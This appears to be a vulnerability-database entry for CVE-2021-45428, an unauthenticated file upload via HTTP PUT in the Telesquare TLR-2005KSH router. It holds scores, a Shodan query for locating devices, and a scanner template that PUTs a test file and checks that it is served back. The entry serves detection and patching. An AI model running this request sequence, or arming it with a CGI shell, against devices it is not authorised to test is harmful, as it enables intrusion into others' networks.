SecurityContext

CVE-2021-45428: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload

Classification

  • Cwe: CWE-639
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.56931
  • Epss percentile: 0.99088
  • Cpe: cpe:2.3:h:telesquare:tlr-2005ksh:-:*:*:*:*:*:*:*

Metadata

  • Max-request: 3
  • Product: tlr-2005ksh
  • Shodan-query: http.html:"TLR-2005KSH"
  • Vendor: telesquare
  • Verified: yes

Products

ProductIndexedUrl
telesquare:tlr-2005kshyes/v1/products/telesquare/tlr-2005ksh

Labels

  • Name: TLR-2005KSH - Unrestricted File Upload
  • Impact: Attackers can upload malicious files, potentially leading to remote code execution or website defacement.
  • Remediation: Disable the PUT method or restrict file upload permissions.
  • Vulnerability type: unrestricted_file_upload
  • Vulnerability impact: remote_code_execution, file_system_write
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2021-45428
  • Not known: requirements

```yaml

id: CVE-2021-45428

info:

name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload

author: gy741

severity: critical

description: |

TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.

impact: |

Successful exploitation of this vulnerability could result in unauthorized accessand data leakage.

remediation: |

Apply the latest security patch or update to a version that addresses the arbitrary file upload vulnerability.

reference:

- https://drive.google.com/file/d/1wM1SPOfB9mH2SES7cAmlysuI9fOpFB3F/view?usp=sharing

- http://packetstormsecurity.com/files/167101/TLR-2005KSH-Arbitrary-File-Upload.html

- https://nvd.nist.gov/vuln/detail/CVE-2021-45428

- https://github.com/ARPSyndicate/cvemon

- https://github.com/ARPSyndicate/kenzer-templates

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2021-45428

cwe-id: CWE-639

epss-score: 0.56931

epss-percentile: 0.99088

cpe: cpe:2.3:h:telesquare:tlr-2005ksh:-:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 3

vendor: telesquare

product: tlr-2005ksh

shodan-query: http.html:"TLR-2005KSH"

tags: cve2021,cve,telesquare,intrusive,fileupload,packetstorm,vuln

http:

- raw:

- |

GET /{{randstr}}.txt HTTP/1.1

Host: {{Hostname}}

- |

PUT /{{randstr}}.txt HTTP/1.1

Host: {{Hostname}}

CVE-2021-45428

- |

GET /{{randstr}}.txt HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: dsl

dsl:

- 'status_code_1 == 404 && status_code_2 == 201'

- 'contains(body_3, "CVE-2021-45428") && status_code_3 == 200'

condition: and

digest: 4a0a0047304502202a03025b9d381b6afd49a21b455000b7e0fea2e9571ad527589a687800ba9ec1022100d7d6dda2630c229084af562a39a8c1ef5cc712d47a025cd6ebf7b91ad406be9c:922c64590222798bb761d5b6d8e72950

```